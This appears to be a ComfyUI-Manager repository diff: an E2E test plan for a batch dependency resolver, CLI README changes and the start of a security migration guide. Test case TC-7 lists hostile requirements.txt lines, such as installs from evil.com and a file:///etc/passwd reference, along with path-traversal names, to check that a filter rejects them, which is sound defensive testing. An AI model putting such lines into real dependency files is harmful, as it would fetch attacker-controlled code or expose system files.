[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
|
||||
```
|
||||
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install
|
||||
|
||||
---
|
||||
|
||||
## TC-6: install.py Execution Preserved [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
|
||||
|
||||
**Steps**:
|
||||
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-installpy",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id-with-install-py>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
|
||||
> Alternatively, use the Manager UI to install the same pack.
|
||||
|
||||
2. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- `Install: install script` is printed (install.py runs immediately during install)
|
||||
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
|
||||
|
||||
---
|
||||
|
||||
## TC-7: Dangerous Pattern Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Include any of the following in a node pack's `requirements.txt`:
|
||||
```
|
||||
-r ../../../etc/hosts
|
||||
--requirement secret.txt
|
||||
-e git+https://evil.com/repo
|
||||
--editable ./local
|
||||
-c constraint.txt
|
||||
--constraint external.txt
|
||||
--find-links http://evil.com/pkgs
|
||||
-f http://evil.com/pkgs
|
||||
evil_pkg @ file:///etc/passwd
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-8: Path Separator Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
../evil/pkg
|
||||
bad\pkg
|
||||
./local_package
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected path separator: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-9: --index-url / --extra-index-url Separation [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
Test all four inline forms:
|
||||
|
||||
| # | `requirements.txt` content | Expected package | Expected URL |
|
||||
|---|---------------------------|-----------------|--------------|
|
||||
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
|
||||
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
|
||||
|
||||
**Verify**:
|
||||
- Package spec is correctly extracted (or empty for standalone lines)
|
||||
- URL is passed as `--extra-index-url` to `uv pip compile`
|
||||
- Duplicate URLs across multiple node packs are deduplicated
|
||||
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
|
||||
|
||||
---
|
||||
|
||||
## TC-10: Credential Redaction [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
private-pkg --index-url https://user:token123@pypi.private.com/simple
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `user:token123` does NOT appear in logs
|
||||
- Masked as `****@` in log output
|
||||
|
||||
---
|
||||
|
||||
## TC-11: Disabled Node Packs Excluded [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Test both disabled styles:
|
||||
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
|
||||
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
|
||||
|
||||
---
|
||||
|
||||
## TC-12: No Dependencies [P2]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] No dependencies to resolve
|
||||
```
|
||||
|
||||
**Verify**: Compile/install steps are skipped; startup completes normally
|
||||
|
||||
---
|
||||
|
||||
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
|
||||
|
||||
**Steps**:
|
||||
1. Start ComfyUI and confirm batch resolution succeeds
|
||||
2. While ComfyUI is running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-defer-1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
|
||||
> Alternatively, use the Manager UI to install a node pack.
|
||||
|
||||
3. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- `Install: pip packages` does NOT appear
|
||||
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
|
||||
|
||||
---
|
||||
|
||||
## TC-14: Both Unified Resolver Code Paths [P0]
|
||||
|
||||
Verify both code locations that guard per-node pip install behave correctly in unified mode:
|
||||
|
||||
| Path | Guard Variable | Trigger | Location |
|
||||
|------|---------------|---------|----------|
|
||||
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
|
||||
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
|
||||
|
||||
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
|
||||
|
||||
**Steps**:
|
||||
|
||||
**Path 1 — Runtime API install (class method)**:
|
||||
```bash
|
||||
# While ComfyUI is running:
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-path1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
|
||||
|
||||
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
|
||||
1. Create a test node pack with both `install.py` and `requirements.txt`:
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
|
||||
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
|
||||
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
|
||||
```
|
||||
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
|
||||
```bash
|
||||
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
|
||||
mkdir -p "$SCRIPTS_DIR"
|
||||
PYTHON_PATH=$(which python)
|
||||
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
|
||||
>> "$SCRIPTS_DIR/install-scripts.txt"
|
||||
```
|
||||
3. Start ComfyUI (with `use_unified_resolver = true`)
|
||||
|
||||
**Verify**:
|
||||
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
|
||||
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
|
||||
|
||||
---
|
||||
|
||||
## TC-15: Behavior After Fallback in Same Process [P1]
|
||||
|
||||
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
|
||||
|
||||
**Steps**:
|
||||
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
|
||||
2. While still running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-postfallback",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- New node pack uses per-node pip install (not deferred)
|
||||
- `Install: pip packages` appears normally
|
||||
- On next restart with conflicts resolved, unified resolver retries if config still `true`
|
||||
|
||||
---
|
||||
|
||||
## TC-16: Generic Exception Fallback [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
|
||||
|
||||
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
|
||||
|
||||
**Steps**:
|
||||
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
|
||||
```bash
|
||||
chmod a-r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
2. Start ComfyUI
|
||||
3. After test, restore permissions:
|
||||
```bash
|
||||
chmod u+r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
|
||||
|
||||
---
|
||||
|
||||
## TC-17: Restart Dependency Detection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
|
||||
|
||||
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
|
||||
|
||||
**Steps**:
|
||||
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
|
||||
2. Verify baseline deps only (Manager's own deps)
|
||||
3. Stop ComfyUI
|
||||
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
|
||||
5. Restart ComfyUI (Boot 2)
|
||||
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
|
||||
7. Stop ComfyUI
|
||||
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
|
||||
9. Restart ComfyUI (Boot 3)
|
||||
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
|
||||
|
||||
**Expected log (each boot)**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
|
||||
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
|
||||
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
|
||||
- Both packs show as loaded in logs
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
|
||||
|
||||
---
|
||||
|
||||
## TC-18: Real Node Pack Integration [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
|
||||
|
||||
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
|
||||
|
||||
**Steps**:
|
||||
1. Set up E2E environment
|
||||
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
|
||||
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
|
||||
4. Boot-mode: start ComfyUI and verify via logs
|
||||
|
||||
**Expected behavior (direct mode)**:
|
||||
```
|
||||
--- Discovered node packs (3) --- # Manager, Impact, Inspire
|
||||
ComfyUI-Impact-Pack
|
||||
ComfyUI-Inspire-Pack
|
||||
ComfyUI-Manager
|
||||
|
||||
--- Phase 1: Collect Requirements ---
|
||||
Total requirements: ~24
|
||||
Skipped: 1 # SAM2 git+https:// URL
|
||||
Extra index URLs: set()
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
|
||||
- All other dependencies are collected and resolved
|
||||
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
|
||||
- No conflicting version errors during compile
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
|
||||
|
||||
---
|
||||
|
||||
## Validated Behaviors (from E2E Testing)
|
||||
|
||||
The following behaviors were confirmed during manual E2E testing:
|
||||
|
||||
### Resolver Pipeline
|
||||
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
|
||||
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
|
||||
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
|
||||
|
||||
### Security & Filtering
|
||||
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
|
||||
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
|
||||
|
||||
### Manager Integration
|
||||
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
|
||||
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
|
||||
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
|
||||
|
||||
### Environment
|
||||
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
|
||||
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| TC | P | Scenario | Key Verification |
|
||||
|----|---|----------|------------------|
|
||||
| 1 | P0 | Normal batch resolution | compile → install pipeline |
|
||||
| 2 | P1 | Disabled state | No impact on existing behavior |
|
||||
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
|
||||
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
|
||||
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
|
||||
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
|
||||
| 7 | P0 | Dangerous pattern rejection | Security filtering |
|
||||
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
|
||||
| 9 | P0 | index-url separation | All 4 variants + dedup |
|
||||
| 10 | P0 | Credential redaction | Log security |
|
||||
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
|
||||
| 12 | P2 | No dependencies | Empty pipeline |
|
||||
| 13 | P1 | Runtime install defer | Defer until restart |
|
||||
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
|
||||
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
|
||||
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
|
||||
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
|
||||
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
|
||||
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
|
||||
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
|
||||
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
|
||||
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
|
||||
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
|
||||
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
|
||||
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
|
||||
|
||||
### Traceability
|
||||
|
||||
| Feature Requirement | Test Cases |
|
||||
|---------------------|------------|
|
||||
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
|
||||
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
|
||||
| FR-3: Index URL handling | TC-9 |
|
||||
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
|
||||
| FR-5: Batch install | TC-1, TC-5 |
|
||||
| FR-6: install.py preserved | TC-6, TC-14 |
|
||||
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
|
||||
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
|
||||
| Disabled node pack exclusion | TC-11 |
|
||||
| Runtime defer behavior | TC-13, TC-14 |
|
||||
| FR-8: Restart discovery | TC-17 |
|
||||
| FR-9: Real-world compatibility | TC-17, TC-18 |
|
||||
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
|
||||
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
|
||||
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
|
||||
+30
-57
@@ -7,39 +7,40 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
cm-cli [OPTIONS]
|
||||
python cm-cli.py [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* You can execute it via the `cm-cli` command.
|
||||
* You can execute it via `python cm-cli.py`.
|
||||
* For example, if you want to update all custom nodes:
|
||||
* `cm-cli update all`
|
||||
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
|
||||
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
|
||||
|
||||
## Prerequisite
|
||||
* It must be run in the same Python environment as the one running ComfyUI.
|
||||
* If using a venv, you must run it with the venv activated.
|
||||
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
|
||||
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
|
||||
|
||||
### 2. Viewing Management Information
|
||||
@@ -48,7 +49,7 @@ OPTIONS:
|
||||
|
||||
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
|
||||
|
||||
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
|
||||
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -65,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
|
||||
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -94,7 +95,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
|
||||
(Plans are to update the use of nicknames in the future.)
|
||||
|
||||
@@ -111,27 +112,11 @@ ComfyUI-Loopchain
|
||||
* `enable`: Enables the specified custom nodes.
|
||||
* `fix`: Attempts to fix dependencies for the specified custom nodes.
|
||||
|
||||
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
|
||||
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
|
||||
|
||||
* Requires `uv` to be installed.
|
||||
* Prevents dependency conflicts between multiple node packs.
|
||||
* On resolution failure, displays conflicting packages and which node packs requested them.
|
||||
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. Snapshot Management
|
||||
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* With `--output`, you can save a file in .yaml format to any specified path.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* If a file exists at the snapshot path, that snapshot is loaded.
|
||||
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
|
||||
* `--pip-non-url`: Restore for pip packages registered on PyPI.
|
||||
@@ -140,35 +125,23 @@ cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
* `--user-directory`: Set the user directory.
|
||||
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
|
||||
|
||||
### 5. Dependency Restoration
|
||||
### 5. CLI Only Mode
|
||||
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
You can set whether to use ComfyUI-Manager solely via CLI.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
|
||||
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
|
||||
|
||||
### 6. Dependency Restoration
|
||||
|
||||
`restore-dependencies`
|
||||
|
||||
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
|
||||
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
|
||||
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
|
||||
|
||||
### 6. Install from Dependency File
|
||||
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
|
||||
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
|
||||
* Useful for environment recovery or initial setup without starting ComfyUI.
|
||||
* Requires `uv` to be installed.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. Clear
|
||||
### 7. Clear
|
||||
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
# ComfyUI-Manager V3.38: Userdata Security Migration Guide
|
||||
|
||||
## Introduction
|
||||
|
||||
ComfyUI-Manager V3.38 introduces a **security patch** that migrates Manager's configuration and data to a protected system path. This change leverages ComfyUI's new System User Protection API (PR #10966) to provide enhanced security isolation.
|
||||
|
||||
This guide explains what happens during the migration and how to handle various situations.
|
||||
|
||||
---
|
||||
|
||||
## What Changed
|
||||
|
||||
### Finding Your Paths
|
||||
|
||||
When ComfyUI starts, it displays the full paths in the terminal:
|
||||
|
||||
```
|
||||
** User directory: /path/to/ComfyUI/user
|
||||
** ComfyUI-Manager config path: /path/to/ComfyUI/user/__manager/config.ini
|
||||
```
|
||||
|
||||
Look for these lines in your startup log to find the exact location on your system. In this guide, paths are shown relative to the `user` directory.
|
||||
|
||||
### Path Migration
|
||||
|
||||
| Data | Legacy Path | New Path |
|
||||
|------|-------------|----------|
|
||||
| Configuration | `user/default/ComfyUI-Manager/` | `user/__manager/` |
|
||||
| Snapshots | `user/default/ComfyUI-Manager/snapshots/` | `user/__manager/snapshots/` |
|
||||
|
||||
### Why This Change
|
||||
|
||||
In older ComfyUI versions, the `default/` directory was **unprotected** and accessible via web APIs. If you ran ComfyUI with `--listen 0.0.0.0` or similar options to allow external connections, this data **may have been tampered with** by malicious actors.
|
||||
|
||||
**Note:** If you only used ComfyUI locally (without `--listen` or with `--listen 127.0.0.1`), your data was not exposed to this vulnerability.
|
||||
|
||||
The new `__manager` path uses ComfyUI's protected system directory, which:
|
||||
- **Cannot be accessed** from outside (protected by ComfyUI)
|
||||
- Isolates system settings from user data
|
||||
- Enables stricter security for remote access
|
||||
|
||||
**This is why only `config.ini` is automatically migrated** - other files (snapshots) may have been compromised and should be manually verified before copying.
|
||||
|
||||
---
|
||||
|
||||
## Automatic Migration
|
||||
|
||||
When you start ComfyUI with the new System User Protection API, Manager automatically handles the migration:
|
||||
|
||||
### Step 1: Configuration Migration
|
||||
|
||||
Only `config.ini` is migrated automatically.
|
||||
|
||||
**Important**: Snapshots are **NOT** automatically migrated. You must copy them manually if needed.
|
||||
|
||||
### Step 2: Security Level Check
|
||||
